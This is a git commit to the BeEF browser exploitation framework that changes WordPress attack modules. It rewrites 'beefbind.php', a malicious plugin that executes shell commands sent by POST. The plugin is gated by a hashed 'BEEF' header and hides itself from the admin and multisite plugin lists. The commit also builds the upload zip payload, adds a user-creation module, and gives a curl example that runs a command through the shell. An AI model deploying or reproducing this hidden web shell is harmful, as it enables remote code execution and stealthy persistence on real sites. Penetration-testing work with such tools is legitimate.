WordPress - Adds auth_key to Plugin, Use SecureRandom and Fixes fatal error when plugin file called directly

This commit is contained in:
erwanlr
2019-10-27 00:09:39 +02:00
parent 151976176a
commit b6d338d334
6 changed files with 45 additions and 21 deletions

View File

@@ -13,7 +13,7 @@ class Wordpress_add_user < WordPressCommand
def self.options
super() + [
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' },
{ 'name' => 'password', 'ui_label' => 'Pwd', 'value' => [*('a'..'z'), *('0'..'9')].shuffle[0, 8].join },
{ 'name' => 'password', 'ui_label' => 'Pwd', 'value' => SecureRandom.hex(5) },
{ 'name' => 'email', 'ui_label' => 'Email', 'value' => '' },
{ 'name' => 'role',
'type' => 'combobox',

View File

@@ -11,25 +11,33 @@
header("Access-Control-Allow-Origin: *");
if (isset($_POST['cmd'])) { echo @system($_POST['cmd']); }
define('SHA1_HASH', '#SHA1HASH#');
define('BEEF_PLUGIN', 'beefbind/beefbind.php');
function hide_plugin() {
global $wp_list_table;
foreach ($wp_list_table->items as $key => $val) {
if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); }
}
if (isset($_SERVER['HTTP_BEEF']) && strlen($_SERVER['HTTP_BEEF']) > 1) {
if (strcasecmp(sha1($_SERVER['HTTP_BEEF']), SHA1_HASH) === 0) {
if (isset($_POST['cmd']) && strlen($_POST['cmd']) > 0) {
echo system($_POST['cmd']);
}
}
}
add_action('pre_current_active_plugins', 'hide_plugin');
// For Multisites
function hide_plugin_from_network($plugins) {
if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); }
if (defined('WPINC')) {
function hide_plugin() {
global $wp_list_table;
foreach ($wp_list_table->items as $key => $val) {
if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); }
}
}
add_action('pre_current_active_plugins', 'hide_plugin');
return $plugins;
// For Multisites
function hide_plugin_from_network($plugins) {
if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); }
return $plugins;
}
add_filter('all_plugins', 'hide_plugin_from_network');
}
add_filter('all_plugins', 'hide_plugin_from_network');
?>

View File

@@ -41,7 +41,7 @@ beef.execute(function() {
post_data += "filename=\"beefbind.zip\"\r\n";
post_data += "Content-Type: application/octet-stream\r\n";
post_data += "\r\n";
post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload %>";
post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload(@auth_key) %>";
post_data += "\r\n";
post_data += "--" + boundary + "--\r\n"

View File

@@ -12,7 +12,7 @@ beef:
description: |
This module attempts to upload and activate a malicious wordpress plugin, which will be hidden from the plugins list in the dashboard.
Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php,
and the command to execute can be send by a POST-parameter named 'cmd'.
and the command to execute can be send by a POST-parameter named 'cmd', with a 'BEEF' header containing the value of the auth_key option.
However, there are more stealthy ways to send the POST request to execute the command, depending on the target.
CORS headers have been added to allow bidirectional crossdomain communication.
authors: ['Bart Leppens', 'Erwan LR']

View File

@@ -7,17 +7,25 @@
# Original Author: Bart Leppens
# Rewritten by Erwan LR (@erwan_lr | WPScanTeam)
#
# To be executed, the request needs a BEEF header with the value of the auth_key option, example:
# curl -H 'BEEF: c9c3a2dcff54c5e2' -X POST --data 'cmd=id' http://wp.lab/wp-content/plugins/beefbind/beefbind.php
#
require 'digest/sha1'
require_relative '../wordpress_command'
class Wordpress_upload_rce_plugin < WordPressCommand
# Generate the plugin ZIP file as string. The method is called in the command.js.
# This allows easy modification of the beefbind.php to suit the needs, as well as being automatically generated
# even when the module is used with automated rules
def self.generate_zip_payload
def self.generate_zip_payload(auth_key)
stringio = Zip::OutputStream::write_buffer do |zio|
zio.put_next_entry("beefbind.php")
zio.write(File.read(File.join(File.dirname(__FILE__), 'beefbind.php')))
file_content = File.read(File.join(File.dirname(__FILE__), 'beefbind.php')).to_s
file_content.gsub!(/#SHA1HASH#/, Digest::SHA1.hexdigest(auth_key))
zio.write(file_content)
end
stringio.rewind
@@ -32,4 +40,10 @@ class Wordpress_upload_rce_plugin < WordPressCommand
escaped_payload
end
def self.options
super() + [
{ 'name' => 'auth_key', 'ui_label' => 'Auth Key', 'value' => SecureRandom.hex(8) }
]
end
end

View File

@@ -5,6 +5,8 @@
# Author Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
#
require 'securerandom'
class WordPressCommand < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/wordpress/wp.js', '/wp', 'js')
@@ -13,7 +15,7 @@ class WordPressCommand < BeEF::Core::Command
# If we could retrive the hooked URL, we could try to determine the wp_path to be set below
def self.options
[
{ 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/' }
{ 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/wordpress-5.2.4/' }
]
end